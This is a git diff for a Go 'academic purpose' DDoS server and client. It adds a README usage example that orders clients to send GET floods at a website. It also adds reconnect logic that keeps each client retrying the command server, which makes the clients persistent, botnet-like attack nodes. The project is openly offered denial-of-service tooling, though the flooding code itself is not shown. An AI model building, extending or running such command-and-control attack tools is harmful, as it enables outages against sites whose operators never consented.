diff --git a/.gitignore b/.gitignore index daf913b..6917b1d 100644 --- a/.gitignore +++ b/.gitignore @@ -22,3 +22,4 @@ _testmain.go *.exe *.test *.prof +*.xcf diff --git a/README.md b/README.md index c5b4fa4..41a734e 100644 --- a/README.md +++ b/README.md @@ -4,3 +4,10 @@ academic purpose ddos server & client written in go https://en.wikipedia.org/wiki/Denial-of-service_attack ![Alt text](https://raw.githubusercontent.com/arnaucode/goDDOS/master/concept.png "concept") + +example command line on the server: +``` +ddos http://website.com 10 + +ddos [website] [num of gets for each client] +``` diff --git a/client/main.go b/client/main.go index 56d3e6f..81b35f7 100644 --- a/client/main.go +++ b/client/main.go @@ -15,12 +15,33 @@ const ( CONN_HOST = "localhost" CONN_PORT = "3333" CONN_TYPE = "tcp" + sleeptime = 3000 ) -func main() { - +func stablishConn() (conn net.Conn, err error) { // connect to this socket - conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT) + conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT) + return conn, err +} +func tryToConnect() (conn net.Conn, err error) { + fmt.Println("trying to connect to the server") + connected := false + conn, err = stablishConn() + for connected == false { + conn, err = stablishConn() + if err != nil { + fmt.Println(err) + fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again") + time.Sleep(sleeptime * time.Millisecond) + //os.Exit(1) + } else { + connected = true + } + } + return conn, err +} +func main() { + conn, err := tryToConnect() hostname, err := os.Hostname() if err != nil { fmt.Println(err) @@ -36,7 +57,8 @@ func main() { if err != nil { fmt.Println(err) fmt.Println("server disconnected") - os.Exit(1) + //os.Exit(1) + conn, err = tryToConnect() } fmt.Println("Command from server: " + command) //fmt.Println(len(strings.Split(command, " "))) diff --git a/concept.png b/concept.png index 54a7fbb..d51d11f 100644 Binary files a/concept.png and b/concept.png differ